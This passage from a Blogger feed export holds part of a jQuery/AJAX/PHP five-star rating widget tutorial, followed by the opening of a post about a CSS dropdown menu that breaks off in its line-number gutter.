&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
We’re
 taking advantage of jQuery’s powerful .prevAll() and .nextAll() methods
 to get the stars preceding and following the currently moused over 
star.&lt;br /&gt;
The code above then adds and removes the classes to make the
 stars under the mouse and before ‘highlighted’, and the stars after 
‘not highlighted’.&lt;br /&gt;
&lt;h3&gt;
What about set_votes() ?&lt;/h3&gt;
This is a 
function that checks which stars should be in the ‘full’ state, and ties
 in closely with the next step, where we grab remote data from the 
server.&lt;br /&gt;
&lt;hr /&gt;
&lt;h2&gt;
Step 3. Retrieving Data from the Server&lt;/h2&gt;
Our
 stars highlight when you move the mouse over them, and that’s a great 
start. But what about the red stars showing the current vote? To reach 
this step, we need to both get the information from the server, and 
write some JavaScript to handle that data.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;$(&lt;span class=&quot;string&quot;&gt;&#39;.rate_widget&#39;&lt;/span&gt;).each(&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(i)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;widget&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;out_data&amp;nbsp;=&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;widget_id&amp;nbsp;:&amp;nbsp;$(widget).attr(&lt;span class=&quot;string&quot;&gt;&#39;id&#39;&lt;/span&gt;),&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fetch:&amp;nbsp;1&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;};&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$.post(&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;ratings.php&#39;&lt;/span&gt;,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out_data,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(INFO)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(widget).data(&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;fsr&#39;&lt;/span&gt;,&amp;nbsp;INFO&amp;nbsp;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;set_votes(widget);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;json&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;});&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
This
 code block – actually all the JavaScript – goes in a document.ready 
block. This particular code executes right away. It queries the server 
and gets some information on every vote widget on the page.&lt;br /&gt;
First 
we set up an object, out_data, to contain the information we’re sending 
to the server. Our PHP script expects to see ‘fetch’ when just grabbing 
data, so we include it here. We also include the ID of the widget, which
 lets the server-side script know what data we’re after. When the call 
back function fires, it contains a JavaScript object that looks like 
this:&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&quot;widget_id&quot;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&quot;r1&quot;&lt;/span&gt;,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&quot;number_votes&quot;&lt;/span&gt;&amp;nbsp;&amp;nbsp;:&amp;nbsp;129,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&quot;total_points&quot;&lt;/span&gt;&amp;nbsp;&amp;nbsp;:&amp;nbsp;344,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&quot;dec_avg&quot;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;2.7,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&quot;whole_avg&quot;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;3&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;blockquote class=&quot;pullquote&quot;&gt;
The .data() method is a bit of jQuery magic that allows you to associate arbitrary data with a DOM&lt;br /&gt;
object.&lt;/blockquote&gt;
If you look closely at the code, you’ll see we’re taking that object (stored in the variable INFO) and&lt;br /&gt;
doing something with it via the .data() method.&lt;br /&gt;
The .data() method is a bit of jQuery magic that allows you to associate arbitrary data with a DOM&lt;br /&gt;
object. In this case, we’re storing the data in the widget div. It can be accessed later like this:&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;$(&lt;span class=&quot;string&quot;&gt;&#39;#one_of_your_widgets).data(&#39;&lt;/span&gt;fsr&#39;).widget_id;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;h3&gt;
 set_votes(), Finally.&lt;/h3&gt;
After the data has been returned from the server, its handed off indirectly to set_votes().&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;set_votes(widget)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;avg&amp;nbsp;=&amp;nbsp;$(widget).data(&lt;span class=&quot;string&quot;&gt;&#39;fsr&#39;&lt;/span&gt;).whole_avg;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;votes&amp;nbsp;=&amp;nbsp;$(widget).data(&lt;span class=&quot;string&quot;&gt;&#39;fsr&#39;&lt;/span&gt;).number_votes;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;exact&amp;nbsp;=&amp;nbsp;$(widget).data(&lt;span class=&quot;string&quot;&gt;&#39;fsr&#39;&lt;/span&gt;).dec_avg;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(widget).find(&lt;span class=&quot;string&quot;&gt;&#39;.star_&#39;&lt;/span&gt;&amp;nbsp;+&amp;nbsp;avg).prevAll().andSelf().addClass(&lt;span class=&quot;string&quot;&gt;&#39;ratings_vote&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(widget).find(&lt;span class=&quot;string&quot;&gt;&#39;.star_&#39;&lt;/span&gt;&amp;nbsp;+&amp;nbsp;avg).nextAll().removeClass(&lt;span class=&quot;string&quot;&gt;&#39;ratings_vote&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(widget).find(&lt;span class=&quot;string&quot;&gt;&#39;.total_votes&#39;&lt;/span&gt;).text(&amp;nbsp;votes&amp;nbsp;+&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;&amp;nbsp;votes&amp;nbsp;recorded&amp;nbsp;(&#39;&lt;/span&gt;&amp;nbsp;+&amp;nbsp;exact&amp;nbsp;+&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;&amp;nbsp;rating)&#39;&lt;/span&gt;&amp;nbsp;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
The
 first three lines are for readability, as those variable names are 
pretty long. So let’s take a look at what’s happening here.&lt;br /&gt;
&lt;b&gt;Line 7:&lt;/b&gt; ‘avg’ is a whole number, representing the rounded vote average of this widget. Because it’s&lt;br /&gt;
a number 1-5, we can use it to find the proper star in the widget, and turn it, and the&lt;br /&gt;
preceding ones to our ‘filled’ graphic. Notice the use of .andSelf() to include the star that&lt;br /&gt;
we’ve selected.&lt;br /&gt;
&lt;b&gt;Line 8:&lt;/b&gt; This is quite similar to line seven, but we’re removing the filled graphic from later stars. This&lt;br /&gt;
is necessary in case the average for this widget has gone down since the last vote.&lt;br /&gt;
&lt;b&gt;Line 9:&lt;/b&gt; Here we’re updating the grey box underneath the widget, which shows a more precise rating,&lt;br /&gt;
and lets a visitor know how many votes have been cast.&lt;br /&gt;
&lt;hr /&gt;
&lt;h2&gt;
Step 4.  Let the Voting Begin&lt;/h2&gt;
The
 final step for the UI is to enable voting. We’re going to add a click 
handler to each of the stars. This click handler will be responsible for
 sending the vote data to the server.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/3434408377846028057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/04/5-star-rating-system.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/3434408377846028057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/3434408377846028057'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/04/5-star-rating-system.html' title='5 Star Rating System'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-6718863337505967220</id><published>2013-03-31T11:21:00.001+05:30</published><updated>2013-03-31T11:28:20.452+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Html Tips"/><title type='text'>Create a simple CSS dropdown menu</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;Learn to create a very simple CSS
dropdown menu with solely HTML and CSS. This is a very useful and small
dropdown menu without the use of javascript&lt;br style=&quot;mso-special-character: line-break;&quot; /&gt;
&lt;br style=&quot;mso-special-character: line-break;&quot; /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;UPDATE!&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; I have updated the Dropdown code &lt;a href=&quot;http://www.handy-html.com/simple-css-dropdown-menu-updated/&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;click here.&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 9.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; class=&quot;MsoNormalTable&quot; style=&quot;mso-cellspacing: 1.5pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr style=&quot;mso-yfti-firstrow: yes; mso-yfti-irow: 0; mso-yfti-lastrow: yes;&quot;&gt;
  &lt;td style=&quot;padding: .75pt .75pt .75pt .75pt;&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
